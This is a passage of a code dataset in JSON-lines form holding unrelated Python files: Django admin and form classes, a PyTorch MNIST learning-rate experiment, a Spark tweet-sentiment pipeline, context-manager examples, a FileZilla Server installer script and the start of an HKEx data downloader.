django.template import RequestContext\nfrom django.template.loader import render_to_string\nfrom django.template.response import TemplateResponse\nfrom django.utils.html import escape\nfrom django.utils.translation import ugettext as _\nfrom django.utils.encoding import force_text\nfrom django.conf import settings\nfrom django.template.loader import render_to_string\nfrom django.http import HttpResponse\nfrom django.utils import timezone\nfrom django.template import RequestContext\n\nimport os\nimport subprocess\n\nfrom reversion.admin import VersionAdmin\nfrom guardian.admin import GuardedModelAdmin\n\n\nclass RegionAdmin(ModelAdmin):\n \"\"\"\n A ModelAdmin class for the Region and District model types.\n \"\"\"\n list_display = ('id', 'name', 'slug', 'modified', 'effective_to')\n raw_id_fields = ('creator', 'modifier')\n prepopulated_fields = {'slug': ['name']}\n\n\nclass RelatedFieldAdmin(ModelAdmin):\n def __getattr__(self, name):\n if '__' in name:\n related_names = name.split('__')\n description = related_names[-1].title()\n\n def getter(self, obj):\n for related_name in related_names:\n obj = getattr(obj, related_name)\n return obj\n getter.admin_order_field = name\n getter.short_description = description.replace('_', ' ')\n setattr(self, name, getter)\n return getter\n raise AttributeError\n\n\nclass DownloadAdminMixin(ModelAdmin):\n download_template = \"TODO: set self.download_template\"\n download_title = \"TODO: set self.download_title\"\n\n def get_urls(self):\n from django.conf.urls import patterns, url\n\n def wrap(view):\n def wrapper(*args, **kwargs):\n return self.admin_site.admin_view(view)(*args, **kwargs)\n return update_wrapper(wrapper, view)\n\n info = self.model._meta.app_label, self.model._meta.model_name\n\n urlpatterns = patterns(\n '',\n url(r'^(\\d+)/download/$',\n wrap(self.lualatex),\n name='%s_%s_download' % info),\n )\n return urlpatterns + super(DownloadAdminMixin, self).get_urls()\n\n def lualatex(self, request, object_id):\n obj = self.get_object(request, unquote(object_id))\n template = self.download_template\n texname = template + \".tex\"\n filename = template + \".pdf\"\n now = timezone.localtime(timezone.now())\n #timestamp = now.isoformat().rsplit(\".\")[0].replace(\":\", \"\")[:-2]\n downloadname = filename.replace(' ', '_')\n context = {\n 'original': obj,\n 'embed': request.GET.get(\"embed\", True),\n 'headers': request.GET.get(\"headers\", True),\n 'title': (callable(self.download_title) and self.download_title()\n or self.download_title),\n 'timestamp': now,\n 'downloadname': downloadname,\n 'baseurl': request.build_absolute_uri(\"/\")[:-1],\n 'STATIC_ROOT': settings.STATIC_ROOT,\n 'MEDIA_ROOT': settings.MEDIA_ROOT,\n }\n\n if not request.GET.get(\"download\", False):\n disposition = \"inline\"\n else:\n disposition = \"attachment\"\n\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = '{0}; filename=\"{1}\"'.format(\n disposition, downloadname)\n\n output = render_to_string(\n \"latex/\" + template + \".tex\", context,\n context_instance=RequestContext(request))\n\n hgrepo = os.path.join(settings.MEDIA_ROOT, \"reports\")\n if not os.path.exists(hgrepo):\n os.makedirs(hgrepo)\n if not os.path.exists(os.path.join(hgrepo, \".hg\")):\n os.chdir(hgrepo)\n subprocess.check_output([\"hg\", \"init\"])\n\n # directory should be a property of prescription model\n # so caching machinering can put outdated flag in directory\n # to trigger a cache repop next download\n directory = os.path.join(hgrepo, str(obj.id))\n if not os.path.exists(directory):\n os.makedirs(directory)\n os.chdir(directory)\n\n if os.path.exists(filename):\n # if outdated then remove all pdf's\n if os.path.exists(\"outdated\"):\n for f in os.listdir(\".\"):\n if os.path.splitext(f)[0] == \".pdf\":\n os.remove(f)\n # If cache is valid just return\n else:\n # Until we set outdated file don't cache\n os.remove(filename)\n #with open(filename, \"r\") as f:\n # response.write(f.read())\n #return response\n\n with open(texname, \"w\") as f:\n f.write(output.encode('utf-8'))\n\n cmd = ['lualatex', \"--interaction\", \"batchmode\", texname]\n try:\n for i in range(2):\n # 2 passes for numbering\n try:\n subprocess.check_output(cmd)\n except subprocess.CalledProcessError:\n pass\n subprocess.check_output([\"hg\", \"addr\"])\n subprocess.check_output([\"hg\", \"commit\", \"-m\", \"updated pdf\"])\n except subprocess.CalledProcessError:\n if not os.path.exists(filename):\n filename = filename.replace(\".pdf\", \".log\")\n response[\"Content-Type\"] = \"text\"\n else:\n raise\n\n with open(filename, \"r\") as f:\n response.write(f.read())\n\n return response\n\n\nclass DetailAdmin(ModelAdmin):\n detail_template = None\n changelist_link_detail = False\n # prevents django-guardian from clobbering change_form template (Scott)\n change_form_template = None\n\n def get_changelist(self, request, **kwargs):\n from swingers.admin.views import DetailChangeList\n return DetailChangeList\n\n def has_view_permission(self, request, obj=None):\n opts = self.opts\n return request.user.has_perm(\n opts.app_label + '.' + 'view_%s' % opts.object_name.lower()\n )\n\n def get_urls(self):\n from django.conf.urls import patterns, url\n\n def wrap(view):\n def wrapper(*args, **kwargs):\n return self.admin_site.admin_view(view)(*args, **kwargs)\n return update_wrapper(wrapper, view)\n\n info = self.model._meta.app_label, self.model._meta.module_name\n\n urlpatterns = patterns(\n '',\n url(r'^$',\n wrap(self.changelist_view),\n name='%s_%s_changelist' % info),\n url(r'^add/$',\n wrap(self.add_view),\n name='%s_%s_add' % info),\n url(r'^(\\d+)/history/$',\n wrap(self.history_view),\n name='%s_%s_history' % info),\n url(r'^(\\d+)/delete/$',\n wrap(self.delete_view),\n name='%s_%s_delete' % info),\n url(r'^(\\d+)/change/$',\n wrap(self.change_view),\n name='%s_%s_change' % info),\n url(r'^(\\d+)/$',\n wrap(self.detail_view),\n name='%s_%s_detail' % info),\n )\n return urlpatterns\n\n def detail_view(self, request, object_id, extra_context=None):\n opts = self.opts\n\n obj = self.get_object(request, unquote(object_id))\n\n if not self.has_view_permission(request, obj):\n raise PermissionDenied\n\n if obj is None:\n raise Http404(_('%(name)s object with primary key %(key)r does '\n 'not exist.') % {\n 'name': force_text(opts.verbose_name),\n 'key': escape(object_id)})\n\n context = {\n 'title': _('Detail %s') % force_text(opts.verbose_name),\n 'object_id': object_id,\n 'original': obj,\n 'is_popup': \"_popup\" in request.REQUEST,\n 'media': self.media,\n 'app_label': opts.app_label,\n 'opts': opts,\n 'has_change_permission': self.has_change_permission(request, obj),\n }\n context.update(extra_context or {})\n return TemplateResponse(request, self.detail_template or [\n \"admin/%s/%s/detail.html\" % (opts.app_label,\n opts.object_name.lower()),\n \"admin/%s/detail.html\" % opts.app_label,\n \"admin/detail.html\"\n ], context, current_app=self.admin_site.name)\n\n def queryset(self, request):\n qs = super(DetailAdmin, self).queryset(request)\n return qs.select_related(\n *[field.rsplit('__', 1)[0]\n for field in self.list_display if '__' in field]\n )\n\n\nclass AuditAdmin(VersionAdmin, GuardedModelAdmin, ModelAdmin):\n search_fields = ['id', 'creator__username', 'modifier__username',\n 'creator__email', 'modifier__email']\n list_display = ['__unicode__', 'creator', 'modifier', 'created',\n 'modified']\n raw_id_fields = ['creator', 'modifier']\n change_list_template = None\n\n def get_list_display(self, request):\n list_display = list(self.list_display)\n for index, field_name in enumerate(list_display):\n field = getattr(self.model, field_name, None)\n if hasattr(field, \"related\"):\n list_display.remove(field_name)\n list_display.insert(\n index, self.display_add_link(request, field.related))\n return list_display\n\n def display_add_link(self, request, related):\n def inner(obj):\n opts = related.model._meta\n kwargs = {related.field.name: obj}\n count = related.model._default_manager.filter(**kwargs).count()\n context = {\n 'related': related,\n 'obj': obj,\n 'opts': opts,\n 'count': count\n }\n return render_to_string(\n 'admin/change_list_links.html',\n RequestContext(request, context)\n )\n inner.allow_tags = True\n inner.short_description = related.opts.verbose_name_plural.title()\n return inner\n","sub_path":"swingers/admin/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":10517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"58969630","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# __author__='Storm'\n\n\n\"\"\"\n1、打乱一个排好序的list对象alist,alist=[1,2,3,4,5]:\n\"\"\"\nimport random\n\nalist = [1,2,3,4,5]\n\nrandom.shuffle(alist)\n\nprint(alist)\n\n\n\n\n\n\"\"\"\n2、已知仓库中有若干商品,以及相应库存,类似:\n袜子,10\n鞋子,20\n拖鞋,30\n项链,40\n要求随机返回一种商品,要求商品被返回的概率与其库存成正比。请描述实现的思路或者直接写一个实现的函数 \n\"\"\"\n\nimport random\n\n# 假设扩大100倍库存数量\nWa_Zhi = ['WZ'] * 100\nXie_Zi = ['XZ'] * 200\nTuo_Xie = ['TX'] * 300\nXiang_Lian = ['XL'] * 400\n\n# 将所有商品所有数量放在一个列表中\nAll_Before = Wa_Zhi + Xie_Zi + Tuo_Xie + Xiang_Lian\n\nAll_After = random.sample(All_Before, 100) # 随机在列表中取100个元素\n\n# 统计此100个元素中个商品出现的个数。\nprint(All_After.count('WZ'))\nprint(All_After.count('XZ'))\nprint(All_After.count('TX'))\nprint(All_After.count('XL'))\n\n# 此题没思路,网络中找的答案。\n\n\n\n\n\n","sub_path":"exercise/week05/w05.py","file_name":"w05.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"123831876","text":"import torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torchvision\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\nfrom sklearn.datasets import fetch_mldata\nimport time\n\nnb_epochs = 20\nmeta_lr = 0.00001\nbatch_size = 32\neps = 1e-5\nbpetrain = int(60000/batch_size)\nsm_value = 1e-6\nalpha = 0 # momentum coefficient on the LR\n\ntransform = transforms.ToTensor()\n\ntrainset = torchvision.datasets.MNIST(root='./data', train=True, download=True, transform=transform)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=batch_size, shuffle=True)\n\ntestset = torchvision.datasets.MNIST(root='./data', train=False, download=False, transform=transform)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=batch_size, shuffle=False)\n\n\nclass ModelSaver:\n\n def __init__(self):\n self.linear_weight = []\n\n def save_model(self, model):\n for name, w in model.named_parameters():\n if (name==\"linear.weight\"):\n self.linear_weight = w.data.clone()\n\n def undo_from_saved_model(self, model):\n model_dict = model.state_dict()\n saved_dict = {\"linear.weight\": self.linear_weight}\n model_dict.update(saved_dict)\n model.load_state_dict(model_dict)\n\ndef build_model(input_dim, output_dim):\n\n model = torch.nn.Sequential()\n model.add_module(\"linear\",\n torch.nn.Linear(input_dim, output_dim, bias=False))\n return model\n\ndef predict(model, x_val):\n x = Variable(x_val, requires_grad=False)\n output = model.forward(x)\n return output.data.numpy().argmax(axis=1)\n\ndef train(lr):\n\n modelSaver = ModelSaver()\n\n training_loss = []\n test_loss = []\n train_acc_values = []\n test_acc_values = []\n lr_values = []\n delta = 0\n\n n_classes = 10\n input_dims = trainset.train_data.size()[-1] * trainset.train_data.size()[-2]\n model = build_model(input_dims, n_classes)\n criterion = torch.nn.CrossEntropyLoss(size_average=True)\n \n for epoch in range(nb_epochs): # no of epochs\n\n print(\"EPOCH:\", epoch)\n acc = 0\n nfbs = 0\n long_running_loss = 0\n running_loss = 0\n nbs = 0\n\n current_lrs = []\n\n for i, data in enumerate(trainloader, 0):\n\n nbs += 1\n\n inputs, labels = data\n\n inputs = inputs.view(batch_size, input_dims)\n inputs, labels = Variable(inputs), Variable(labels) \n\n\n model.zero_grad()\n\n modelSaver.save_model(model)\n\n # loss 1\n optimizer = optim.SGD(model.parameters(), lr=(lr + eps))\n last_layer = model.forward(inputs)\n loss = criterion.forward(last_layer, labels)\n loss.backward()\n optimizer.step()\n outputs = model.forward(inputs)\n loss1 = criterion.forward(outputs, labels)\n\n modelSaver.undo_from_saved_model(model)\n model.zero_grad()\n\n # loss 2\n optimizer = optim.SGD(model.parameters(), lr = (lr-eps))\n last_layer = model.forward(inputs)\n loss = criterion.forward(last_layer, labels)\n loss.backward()\n optimizer.step()\n outputs = model.forward(inputs)\n loss2 = criterion.forward(outputs, labels)\n\n modelSaver.undo_from_saved_model(model)\n model.zero_grad()\n\n # new loss\n optimizer = optim.SGD(model.parameters(), lr = lr)\n last_layer = model.forward(inputs)\n loss = criterion.forward(last_layer, labels)\n loss.backward()\n optimizer.step()\n outputs = model.forward(inputs)\n loss_wt_1 = criterion.forward(outputs, labels)\n\n\n delta = loss1 - loss2\n\n lr = lr - meta_lr * (delta.data[0]/(2*eps))\n lr = max(sm_value,lr)\n current_lrs.append(lr)\n running_loss += loss.data[0]\n\n if i % int(bpetrain/10) == 0:\n print('[%d, %5d] loss: %.3f' % (epoch + 1, i + 1, running_loss / nbs))\n print('learning rate:', lr)\n print('-----------------------------')\n running_loss = 0.0\n nbs = 0\n\n\n #getting the predictions on current training batch\n if (model.forward(inputs).data.numpy()).shape[0] == batch_size:\n nfbs += 1\n long_running_loss += loss.data[0]\n preds = np.argmax((model.forward(inputs).data.numpy()).reshape((batch_size,n_classes)), axis=1)\n partial_acc = sum(preds == labels.data.numpy())\n acc += partial_acc\n\n #1-loss on whole training set\n training_loss.append(long_running_loss/nfbs)\n training_loss_on_epoch = long_running_loss/(nfbs)\n print('Training loss on this epoch: {}'.format(long_running_loss/(nfbs)))\n\n #2-accuracy on whole training set\n acc /= (nfbs*batch_size)\n training_accuracy_on_epoch = acc\n print('Training accuracy on this epoch: {}'.format(acc))\n train_acc_values.append(acc)\n \n\n acc = 0\n nbs = 0\n t_losses = []\n \n # testing\n for i, data in enumerate(testloader, 0):\n\n inputs, labels = data\n curr_batch_size = inputs.size()[0]\n inputs = inputs.view(curr_batch_size, input_dims)\n inputs, labels = Variable(inputs), Variable(labels)\n\n #getting the predictions on current batch\n outputs = model.forward(inputs)\n if ((outputs.data.numpy()).shape[0] == batch_size):\n nbs += 1\n t_loss = criterion.forward(outputs, labels)\n t_losses.append(t_loss.data[0])\n preds = np.argmax((outputs.data.numpy()).reshape((batch_size,n_classes)), axis=1)\n partial_acc = sum(preds == (labels.data.numpy()))\n acc += partial_acc\n\n #3-loss on whole test set\n test_loss.append(np.mean(np.array(t_losses)))\n test_loss_on_epoch = np.mean(np.array(t_losses))\n print('Test loss on this epoch: {}'.format(np.mean(np.array(t_losses))))\n\n #4-accuracy on whole test set\n acc /= (nbs*batch_size)\n test_accuracy_on_epoch = acc\n print('Test accuracy on this epoch: {}'.format(acc))\n test_acc_values.append(acc)\n\n #5-learning rate\n lr_values.append(np.mean(np.array(current_lrs)))\n learning_rate_on_epoch = np.mean(np.array(current_lrs))\n print('Learning rate on this epoch: {}'.format(np.mean(np.array(current_lrs))))\n\n with open('results_first_order.csv', 'a') as f:\n running_str = ''\n running_str += str(training_loss_on_epoch) + \",\"\n running_str += str(training_accuracy_on_epoch) + \",\"\n running_str += str(test_loss_on_epoch) + \",\"\n running_str += str(test_accuracy_on_epoch) + \",\"\n running_str += str(learning_rate_on_epoch) + \"\\n\"\n f.write(running_str)\n\n return training_loss, train_acc_values, test_loss, test_acc_values, lr_values\n\nif __name__ == '__main__':\n\n training_loss, train_acc_values, test_loss, test_acc_values, lr_values = train(0.1)\n\n print(training_loss, train_acc_values, test_loss, test_acc_values, lr_values)\n plt.plot(training_loss)\n plt.ylim((0,5))\n plt.title('Training loss over iterations')\n plt.show()\n\n plt.plot(test_loss)\n plt.ylim((0,5))\n plt.title('Test loss over iterations')\n plt.show()\n\n plt.plot(train_acc_values)\n plt.ylim((0,1))\n plt.title('Training accuracy over iterations')\n plt.show()\n\n plt.plot(test_acc_values)\n plt.ylim((0,1))\n plt.title('Test accuracy over iterations')\n plt.show()\n\n plt.plot(lr_values)\n plt.title('Learning rate over iterations')\n plt.show()","sub_path":"linear_models/logistic_regression/logistic_regression_mnist_adaptive_first_order_fd.py","file_name":"logistic_regression_mnist_adaptive_first_order_fd.py","file_ext":"py","file_size_in_byte":7933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"495883162","text":"##### from pyspark import SparkConf, SparkContext\nfrom pyspark.streaming import StreamingContext\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch import helpers\nfrom geopy.geocoders import Nominatim\nfrom filtertweet import filterWords\nimport random\nimport json\nimport nltk\n\n#nltk.download('vader_lexicon')\n\n\ndef analyzeSentiment(string):\n\n sid = SentimentIntensityAnalyzer()\n sentimentMap = sid.polarity_scores(string)\n del sentimentMap['compound']\n sentiment = max(sentimentMap,key = sentimentMap.get)\n wordMap = {'pos':'positive','neg':'negative','neu':'neutral'}\n return wordMap[sentiment]\n #print sorted_values[0],ss[0]\n\ndef parseDate(date):\n index = date.find('+')\n date = date[:index]\n split = date.split()\n date = '2018-04-11 '+split[3]\n return date\n\ndef findGeo(location):\n geolocator = Nominatim()\n coordinates = geolocator.geocode(location)\n return coordinates\n\ndef findCoordinates(place,user_location):\n return randomGeo()\n if place: \n if place['bounding_box']['coordinates']:\n latitude = place['bounding_box']['coordinates'][0][0][0]\n longitude = place['bounding_box']['coordinates'][0][0][1]\n return {\n \"lat\":latitude,\"lon\":longitude\n }\n elif place['country']:\n coordinates = findGeo(place['country'])\n return{\n \"lat\":coordinates.latitude,\n \"lon\":coordinates.longitude\n }\n #print location.latitude,location.longitude\n elif user_location:\n user_location = user_location.split(',')[0]\n coordinates = findGeo(user_location)\n if not coordinates:\n return randomGeo()\n return{\n \"lat\":coordinates.latitude,\n \"lon\":coordinates.longitude\n }\n else:\n randomGeo()\n \ndef randomGeo():\n geoLocations = [{\"lat\":32.806671,\n \"lon\":-86.791130},\n {\"lat\":61.370716,\n \"lon\":-152.404419},\n {\"lat\":61.370716,\n \"lon\":-152.404419},\n {\"lat\":36.116203, \"lon\":-119.681564},\n {\"lat\":21.094318, \"lon\":-157.498337},\n {\"lat\":42.165726,\"lon\":-74.948051},\n {\"lat\":41.680893,\"lon\":-71.511780},\n {\"lat\":44.306940,\"lon\":20.571010},\n {\"lat\":51.624980,\"lon\":20.816150},\n {\"lat\":45.780000,\"lon\":7.300000},]\n return random.choice(geoLocations);\n \ndef makeData(tweet):\n jsonObj = json.loads(tweet)\n \n return{\n \n \"text\":filterWords(jsonObj['text']),\n \"location\":findCoordinates(jsonObj['place'],jsonObj['user']['location']),\n \"sentiment\":analyzeSentiment(jsonObj['text']),\n \"timestamp\":parseDate(jsonObj['created_at'])\n }\n \n \n\nTCP_IP = 'localhost'\nTCP_PORT = 8038\n\nind = 'twitter'\nes = Elasticsearch([{'host':'localhost','port':'9200'}])\nif(es.indices.exists(index='twitter')):\n pass\nelse:\n es.indices.create(index='twitter',\n body={\"mappings\": {\n \"doc\": {\n \"properties\": {\n \"location\":{\"type\":\"geo_point\"},\n \"timestamp\":{\n \"type\":\"date\",\n \"format\": \"yyyy-MM-dd HH:mm:ss||yyyy-MM-dd HH:mm:ss.SSS\"\n }\n }\n }\n }\n }\n )\n# Pyspark\n# create spark configuration\n#conf = SparkConf()\n#conf.setAppName('TwitterApp')\n#conf.setMaster('local[2]')\n# create spark context with the above configuration\n#sc = SparkContext(conf=conf)\n\n# create the Streaming Context from spark context with interval size 2 seconds\nssc = StreamingContext(sc, 4)\nssc.checkpoint(\"checkpoint_TwitterApp\")\n# read data from port specified above\ndataStream = ssc.socketTextStream(TCP_IP, TCP_PORT)\n#dataStream.pprint()\n######### your processing here ###################\n#dataStream.pprint()\n#words = dataStream.flatMap(lambda x: x.split(' '))\n#wordcount = words.map(lambda x: (x,1)).reduceByKey(lambda x,y: x+y)\n\n\n\nrdd = dataStream.map(lambda line: (None,json.dumps(makeData(line)))) # Saves it as an RDD pair to be recognized by the es-hadoop jar\n\nrdd.pprint()\nconf = {\"es.resource\": \"twitter/doc\", \"es.input.json\": \"true\",\"es.nodes\": \"localhost:9200\"}\nrdd.foreachRDD(lambda x: x.saveAsNewAPIHadoopFile(\n path=\"-\",\n outputFormatClass=\"org.elasticsearch.hadoop.mr.EsOutputFormat\",\n keyClass=\"org.apache.hadoop.io.NullWritable\",\n valueClass=\"org.elasticsearch.hadoop.mr.LinkedMapWritable\",\n conf=conf))\n\n#################################################\n\nssc.start()\nssc.awaitTermination()\n\n","sub_path":"Spark/spark.py","file_name":"spark.py","file_ext":"py","file_size_in_byte":4738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"307784469","text":"from django import forms\nfrom django.contrib.auth import get_user_model\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom allauth.account.forms import SignupForm\n\nfrom apps.users.models import Rating\n\n\nUser = get_user_model()\n\n\nclass SignupForm(SignupForm):\n\n first_name = forms.CharField(label=_('First name'), max_length=30)\n last_name = forms.CharField(label=_('Last name'), max_length=30)\n contact = forms.CharField(label=_('Contact No.'), max_length=30)\n type = forms.ChoiceField(label=_('Type'), choices=User.USER_TYPE_CHOICES)\n\n def save(self, request):\n user = super().save(request)\n user.contact = self.cleaned_data.get('contact')\n user.type = self.cleaned_data.get('type')\n user.save()\n return user\n\n\nclass RatingForm(forms.ModelForm):\n\n class Meta:\n model = Rating\n fields = ('rate', 'remarks',)\n widgets = {\n 'rate': forms.NumberInput(attrs={'class': 'rating d-none'}),\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.initial = kwargs.get('initial')\n\n def save(self, *args, **kwargs):\n rating = super().save(commit=False)\n task = self.initial.get('task')\n user = self.initial.get('user')\n\n if user.type == user.TYPE_TASKER:\n receiver = task.customer\n sender = task.tasker\n else:\n receiver = task.tasker\n sender = task.customer\n\n rating.task = self.initial.get('task')\n rating.receiver = receiver\n rating.sender = sender\n rating.save()\n\n return rating\n","sub_path":"apps/users/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"192836367","text":"import sys\nfrom inspect import currentframe\ndef out(*args):\n cf = currentframe()\n lineinfo = ''.join([' >>', str(cf.f_back.f_lineno), ': '])\n for arg in args:\n sys.stdout.write(lineinfo)\n print(type(arg))\n print(arg)\n print()\n\nclass LoggingContextManager:\n def __enter__(self):\n print('LoggingContextManager.__enter__()')\n return 'You are in a with-block!'\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_type is None:\n print(\"LoggingContextManager.__exit__:\"\n \"normal exit detected.\")\n else:\n print('LoggingContextManager.__exit__:'\n 'Exception detected!'\n 'type={}, value={}, traceback{}'.format(\n exc_type, exc_val, exc_tb))\n return\n\n\nwith LoggingContextManager() as x:\n pass\n # raise ValueError('Something has gone wrong')\n # print(x)\n\n# try:\n# with LoggingContextManager():\n# raise ValueError('The system is down!')\n# except ValueError:\n# print('*** ValueError detected ***')\n\nprint()\nimport contextlib\nimport sys\n\n@contextlib.contextmanager\ndef logging_context_manager():\n print('logging_context_manager: enter')\n try:\n yield 'You are in a with-block!'\n print('logging_context_manager: normal exit')\n except Exception:\n print('logging_context_manager: exceptional exit',\n sys.exc_info())\n # raise # propagates ValueError from within with-statement\n\nwith logging_context_manager() as x:\n raise ValueError('Iminent meltdown')\n print(x)\n\n\nprint()\nimport contextlib\n\n@contextlib.contextmanager\ndef nest_test(name):\n print('Entering', name)\n yield name\n print('Exiting', name)\n\nwith nest_test('outer') as n1, nest_test('inner, nested in ' + n1):\n print('BODY')\n\nprint()\n@contextlib.contextmanager\ndef propagater(name, propagate):\n try:\n yield\n print(name, 'exited normally.')\n except Exception:\n print(name, 'received an exception!')\n if propagate:\n raise\n\nwith propagater('outer', True), propagater('inner', False):\n raise TypeError('Cannot convert lead into gold')\n\n\n# with [nest_test('a'), nest_test('b')]:\n # pass\n\n\nprint()\nclass Connection:\n def __init__(self):\n self.xid = 0\n\n def _start_transaction(self):\n print('starting transaction', self.xid)\n rslt = self.xid\n self.xid = self.xid + 1\n return rslt\n\n def _commit_transaction(self, xid):\n print('committing transaction', xid)\n\n def _rollback_transaction(self, xid):\n print('rolling back transaction', xid)\n\n\nclass Transaction:\n def __init__(self, conn):\n self.conn = conn\n self.xid = conn._start_transaction()\n\n def commit(self):\n self.conn._commit_transaction(self.xid)\n\n def rollback(self):\n self.conn._rollback_transaction(self.xid)\n\nconn = Connection()\nxact = Transaction(conn)\nxact.commit()\nxact.rollback()\nxact = Transaction(conn)\nxact.commit()\nxact = Transaction(conn)\nxact.commit()\n\nprint()\n@contextlib.contextmanager\ndef start_transaction(connection):\n tx = Transaction(connection)\n\n try:\n yield tx\n except:\n tx.rollback()\n raise\n\n tx.commit()\n\nconn = Connection()\ntry:\n with start_transaction(conn) as tx:\n x = 1 + 1\n raise ValueError()\n y = x + 2\n print('transaction 0 =')\nexcept ValueError:\n print('Oops! Transaction 0 failed.')\n\ntry:\n with start_transaction(conn) as tx:\n x = 1 + 1\n y = x + 2\n print('transaction 1 =', x, y)\nexcept ValueError:\n assert False\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nprint()\nprint('normal exit')\n","sub_path":"python/beyond-the-basics/12_module/terminal.py","file_name":"terminal.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"49702797","text":"#!/usr/bin/python\r\n#coding: utf-8\r\n#-----------------------------\r\n# 安装脚本\r\n#-----------------------------\r\n\r\nimport sys,os,shutil\r\npanelPath = os.getenv('BT_PANEL')\r\nos.chdir(panelPath)\r\nsys.path.append(\"class/\")\r\nimport public,tarfile\r\n\r\nclass panel_ftpserver:\r\n _name = 'FileZilla Server'\r\n _version = None\r\n _setup_path = None\r\n\r\n def __init__(self,name,version,setup_path): \r\n self._version = version\r\n self._setup_path = setup_path\r\n \r\n def install_soft(self,downurl):\r\n if public.get_server_status(self._name) >= 0: public.delete_server(self._name)\r\n\r\n temp = self._setup_path + '/temp/ftpServer.rar'\r\n public.downloadFile(downurl + '/win/ftpServer.rar',temp)\r\n if not os.path.exists(temp): return public.returnMsg(False,'文件下载失败,请检查网络!');\r\n\r\n from unrar import rarfile\r\n rar = rarfile.RarFile(temp) \r\n rar.extractall(self._setup_path)\r\n\r\n rRet = public.create_server(self._name,self._name,self._setup_path + '\\\\ftpServer\\\\FileZilla_Server.exe','',\"FileZilla是一个免费开源的FTP软件,分为客户端版本和服务器版本,具备所有的FTP软件功能\")\r\n if public.get_server_status(self._name) == 0:\r\n if public.set_server_status(self._name,'start'): \r\n public.bt_print('ftp启动成功.')\r\n else:\r\n return public.returnMsg(False,'启动失败,请检查配置文件是否错误!');\r\n public.bt_print('ftp安装成功.')\r\n return public.returnMsg(True,'安装成功!');\r\n return rRet;\r\n\r\n def uninstall_soft(self):\r\n if public.get_server_status(self._name) >= 0: public.delete_server(self._name)\r\n\r\n return public.returnMsg(True,'卸载成功!');\r\n\r\n def update_soft(self,downurl):\r\n path = self._setup_path + '/ftpServer'\r\n sfile = path +'/FileZilla Server.xml'\r\n dfile = path + '/FileZilla Server.xml.backup'\r\n shutil.copy (sfile,dfile)\r\n rRet = self.install_soft(downurl)\r\n if not rRet['status'] : rRet;\r\n if public.set_server_status(self._name,'stop'):\r\n shutil.copy (dfile,sfile)\r\n os.remove(dfile);\r\n if public.set_server_status(self._name,'start'):\r\n return public.returnMsg(True,'更新成功!');\r\n return public.returnMsg(False,'更新失败!');\r\n\r\n\r\n\r\n","sub_path":"PxZwlELmqyK1QsaW/cb1c7ddefb2c65cb33ecb93dc705a49d3024085c.py","file_name":"cb1c7ddefb2c65cb33ecb93dc705a49d3024085c.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"568334088","text":"#from __future__ import print_function\nimport os\nimport urllib\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nimport time\nimport logging\nimport re\nimport requests\nimport glob\nimport csv\nfrom bs4 import BeautifulSoup\nimport dateutil\n\nndrv = r'\\\\P7FS0001\\ed'\nfileLog = ndrv + r'\\Sancho\\prog\\HKExDownload\\log\\HKExDownload_' + dt.datetime.now().strftime('%Y%m%d_%H%M%S') + '.log' \ndirHKexWrnt = ndrv + r'\\Sancho\\data\\HKExData\\Derivatives\\Warrants' \ndirHKexCBBC = ndrv + r'\\Sancho\\data\\HKExData\\Derivatives\\CBBCs'\ndirHKexStkO = ndrv + r'\\Sancho\\data\\HKExData\\Derivatives\\StockOptions'\ndirHKexTick = ndrv + r'\\Sancho\\data\\HKExData\\tickdata\\Securities' \ndirHKexHldy = ndrv + r'\\Sancho\\data\\HKExData\\Holiday' \ndirHKexList = ndrv + r'\\Sancho\\data\\HKExData\\ListedSecurities' \ndirTmp = ndrv + r'\\Sancho\\tmp'\n\n# === Setup Logger ===\nhandler = logging.FileHandler(fileLog)\nformatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\nhandler.setFormatter(formatter)\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(handler)\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.DEBUG) \n\n\ndef downloadData(url, fname_out, maxTrial): #http://www.hkex.com.hk/eng/dwrc/download/DW03.zip \n #logger.info(\"Download from %s to %s (retry: %d times)\" % (url, fname_out, maxTrial))\n \n dirOut = os.path.dirname(os.path.abspath(fname_out)) \n if not os.path.exists(dirOut):\n os.makedirs(dirOut) \n \n bSuccess = False\n nTrial = 0 \n while (not bSuccess) and (nTrial < maxTrial) :\n try:\n nTrial += 1 \n hkex_file = urllib.URLopener()\n logger.info(\"Download from %s to %s (retry: %d/%d times)\" % (url, fname_out, nTrial, maxTrial))\n #logger.info(\"Downloading from %s to %s ...\" % (url, fname_out)) #, exc_info=True) \n hkex_file.retrieve(url, fname_out) \n \n bSuccess = True\n return True\n except:\n logger.error(\"Exception in downloadData:\", exc_info=True) \n logger.error(\"Sleeping for 10s and retry ...\") \n 